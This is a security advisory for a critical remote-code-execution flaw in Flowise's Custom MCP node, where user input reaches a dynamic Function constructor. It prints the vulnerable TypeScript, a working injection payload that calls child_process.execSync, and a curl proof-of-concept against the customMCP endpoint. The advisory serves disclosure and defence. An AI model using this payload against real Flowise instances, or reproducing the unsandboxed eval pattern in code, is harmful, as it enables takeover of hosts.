VDB
KO
CRITICAL 9.8

GHSA-hmgh-466j-fx4c

Flowise vulnerable to RCE via Dynamic function constructor injection

Details

### Summary User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

### Details When creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure: ```json { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"] } ```

Behind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity): ```json { ...SNIP...

"inputs":{ "mcpServerConfig":{ "command":"npx", "args":[ "-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files" ] } }, "loadMethod":"listActions" ...SNIP... } ```

Sending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example: ```json { "inputs":{ "mcpServerConfig":"test" }, "loadMethod":"listActions" } ```

We enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

```typescript async getTools(nodeData: INodeData): Promise<Tool[]> { const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

if (!mcpServerConfig) { throw new Error('MCP Server Config is required') }

try { let serverParams if (typeof mcpServerConfig === 'object') { serverParams = mcpServerConfig } else if (typeof mcpServerConfig === 'string') { const serverParamsString = convertToValidJSONString(mcpServerConfig) <-- serverParams = JSON.parse(serverParamsString) }

const toolkit = new MCPToolkit(serverParams, 'stdio') await toolkit.initialize()

const tools = toolkit.tools ?? []

return tools as Tool[] } catch (error) { throw new Error(`Invalid MCP Server Config: ${error}`) } } } ```

Here, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:

```typescript function convertToValidJSONString(inputString: string) { try { const jsObject = Function('return ' + inputString)() return JSON.stringify(jsObject, null, 2) } catch (error) { console.error('Error converting to JSON:', error) return '' } } ```

This JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.

This enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution. ```json { "inputs":{ "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))" }, "loadMethod":"listActions" } ``` ### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"}, "loadMethod":"listActions"} ```

3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP" ```

4. Observe that a new file named `yofitofi` is created under `/tmp` folder. ### Impact Remote code execution

## Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / flowise
Introduced in: 0

No fixed version published yet for flowise (npm). Pin to a known-safe version or switch to an alternative.

References